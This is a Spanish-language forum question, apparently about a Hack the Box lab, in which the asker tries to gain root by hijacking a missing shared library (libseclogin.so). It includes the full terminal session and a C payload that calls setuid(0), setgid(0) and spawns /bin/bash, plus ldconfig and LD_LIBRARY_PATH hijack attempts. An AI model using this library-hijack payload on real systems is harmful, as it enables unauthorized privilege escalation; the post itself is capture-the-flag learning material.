Vinculación manual de la biblioteca C para priv esc

0

Actualmente estoy trabajando en un desafío en Hack the Box y estoy tratando de obtener un ejecutable existente en una máquina de ejercicios para que lo ejecute la biblioteca en lugar de uno que falta en la secuencia de comandos "vulnerable".

La biblioteca que falta es libseclogin.so . He creado un nuevo archivo en /dev/shm y desde allí he intentado usar ldconfig para vincular manualmente la nueva biblioteca y colocarme en una shell cuando se ejecuta myexec . ldconfig tiene establecido el bit adhesivo.

Aquí están los comandos que he ejecutado. Al final, puede ver que cuando vuelvo a ejecutar ldd para comprobar que la biblioteca se ha vuelto a vincular a /dev/shm/libseclogin.so que no ha habido cambios.

¿Me estoy perdiendo algo de este proceso?

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 =>  (0x00007ffdbc6d9000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14  2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
  setuid(0);
  ^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
  setgid(0);
  ^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
  system("/bin/bash");
  ^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so 
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so 
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH 
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 =>  (0x00007ffc5f7f0000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
    /lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$ 

Este es el C scipt básico que estoy usando para colocar en el shell.

#include <stdio.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Comando compilar para crear una biblioteca compartida.

gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl

    
pregunta Rich C 06.12.2018 - 10:58
fuente

0 respuestas

Lea otras preguntas en las etiquetas